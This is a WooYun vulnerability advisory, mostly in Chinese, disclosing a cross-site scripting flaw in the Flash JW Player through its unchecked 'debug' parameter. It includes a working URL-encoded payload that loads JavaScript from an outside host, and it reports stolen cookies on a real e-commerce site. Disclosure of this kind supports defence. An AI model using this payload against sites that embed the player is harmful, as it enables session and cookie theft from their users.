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缺陷编号:wooyun-2012-07166

漏洞标题:JWPlayer Xss 0day [Flash编程安全问题]

相关厂商:LongTail Video

漏洞作者: gainover

提交时间:2012-05-15 23:35

修复时间:2012-05-15 23:35

公开时间:2012-05-15 23:35

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2012-05-15: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-05-15: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

国外的一款播放器,使用网站数量超过百万,官方介绍:“LongTail Video is a New York-based startup that has pioneered the web video market. Our flagship product the - JW Player - is active on over one million websites and streams billions of videos each month.”
该FLASH版本视频播放器代码编写上存在一处安全问题,利用之前我所用到的技巧,可以进行跨站攻击。
它自己主站跨站到无所谓啦,但是用到这个播放器的其它网站就难说了。
比如中国的“去哪儿” ,美国的某某某某站。。

详细说明:

A Xss vulnerability in JWPlayer
Test Browser: IE , Firefox.
Test Platform: Win 7.
1. The Bug code in
package com.longtailvideo.jwplayer.utils
class Logger
private static function send(_arg1:String):void
if (ExternalInterface.available){
ExternalInterface.call(_config.debug, text);<---directly use _config.debug
};
2. The _config.debug is directly used as the first parameter of ExternalInterface.call. And the _config is loaded from loaderInfo.parameters. Therefore, when we construct a link such as " jwplayer.swf?debug=(function(){alert('xxx')})() ", the passed-in javascript code will be run.
3. Then we can use the trick location.href='javascript:"<script src={js file url}></script>"' to load and run external javascript file.
Test encoded evil code:

http://player.longtailvideo.com/player.swf?debug=(function()%7Blocation.href%3D'javascript%3A%22%3Cscript%2Fsrc%3D%5C'%2F%2Fappmaker.sinaapp.com%5C%2Ftest5.js%5C'%3E%3C%2Fscript%3E%22'%7D)


4. That's all

漏洞证明:

1. Simple Alert


2. Stolen Cookies in a chinese e-commerce website.

修复方案:

Limit the length of "debug" parameters and check its content.

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:5 (WooYun评价)